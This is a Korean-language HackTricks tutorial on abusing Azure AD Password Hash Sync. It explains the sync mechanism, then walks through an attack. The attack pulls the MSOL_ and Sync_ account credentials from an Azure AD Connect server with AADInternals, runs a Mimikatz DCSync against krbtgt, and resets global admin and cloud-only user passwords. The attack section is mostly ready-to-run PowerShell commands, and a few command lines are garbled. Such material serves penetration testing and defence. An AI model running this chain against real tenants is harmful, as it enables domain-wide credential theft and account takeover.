Az - PHS - Password Hash Sync

htARTE (HackTricks AWS Red Team 전문가)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

기본 정보

문서에서: 비밀번호 해시 동기화는 하이브리드 ID를 달성하는 데 사용되는 로그인 방법 중 하나입니다. Azure AD Connect는 온프레미스 Active Directory 인스턴스의 사용자 비밀번호의 해시를 클라우드 기반의 Azure AD 인스턴스로 동기화합니다.

이는 회사가 온프레미스 AD를 Azure AD와 동기화하는 데 사용되는 가장 일반적인 방법입니다.

모든 사용자비밀번호 해시의 해시가 온프레미스에서 Azure AD로 동기화됩니다. 그러나 평문 암호원래 해시는 Azure AD로 전송되지 않습니다. 또한 빌트인 보안 그룹(도메인 관리자 등...)은 Azure AD로 동기화되지 않습니다.

해시 동기화는 2분마다 발생합니다. 그러나 기본적으로 Azure AD에서 비밀번호 만료계정 만료동기화되지 않습니다. 따라서 온프레미스 비밀번호가 만료된(변경되지 않은) 사용자는 이전 비밀번호를 사용하여 계속해서 Azure 리소스에 액세스할 수 있습니다.

온프레미스 사용자가 Azure 리소스에 액세스하려고 할 때, 인증은 Azure AD에서 수행됩니다.

PHSIdentity Protection 및 AAD 도메인 서비스와 같은 기능에 필요합니다.

Pivoting

PHS가 구성되면 일부 특권 계정이 자동으로 생성됩니다:

  • MSOL_<installationID> 계정이 온프레미스 AD에 자동으로 생성됩니다. 이 계정은 디렉터리 동기화 계정 역할(자세한 내용은 문서 참조)을 부여받아 온프레미스 AD에서 복제(DCSync) 권한을 갖습니다.

  • Sync_<name of on-prem ADConnect Server>_installationID 계정이 Azure AD에 생성됩니다. 이 계정은 Azure AD에서 어떤 사용자의 비밀번호를 재설정할 수 있습니다(동기화된 사용자 또는 클라우드 전용 사용자).

이전의 두 특권 계정의 비밀번호는 Azure AD Connect가 설치된 서버의 SQL 서버에 저장됩니다. 데이터베이스는 C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf에 위치합니다.

한 테이블에서 구성을 추출하는 것이 가능하며, 그 중 하나는 암호화되어 있습니다:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

암호화된 구성DPAPI로 암호화되어 있으며, 온프레미스 AD의 MSOL_* 사용자와 AzureAD의 Sync\_*의 비밀번호를 포함하고 있습니다. 따라서 이러한 것들을 손상시키면 AD 및 AzureAD로 권한 상승이 가능합니다.

토크에서 이러한 자격 증명이 어떻게 저장되고 해독되는지에 대한 전체 개요를 찾을 수 있습니다.

Azure AD Connect 서버 찾기

Azure AD Connect가 설치된 서버가 도메인에 가입되어 있다면(문서에서 권장), 다음으로 찾을 수 있습니다:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

MSOL_* 남용하기

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

이 자격 증명을 얻기 위해 adconnectdump를 사용할 수도 있습니다.

Sync_* 남용

Sync_* 계정을 탈취하면 모든 사용자(글로벌 관리자 포함)의 암호를 재설정할 수 있습니다.

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

클라우드 사용자의 비밀번호를 수정하는 것도 가능합니다 (그것이 예상치 못한 경우라도)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

이 사용자의 암호를 덤프하는 것도 가능합니다.

다른 옵션은 서비스 주체에 특권 권한을 할당하고, Sync 사용자가 할 수 있는 권한을 사용하여 해당 서비스 주체에 액세스한 다음 권한 상승의 방법으로 사용할 수 있습니다.

신속한 SSO

PHS와 함께 신속한 SSO를 사용할 수 있으며, 다른 남용에 취약합니다. 확인하십시오:

pageAz - Seamless SSO

참고 자료

最終更新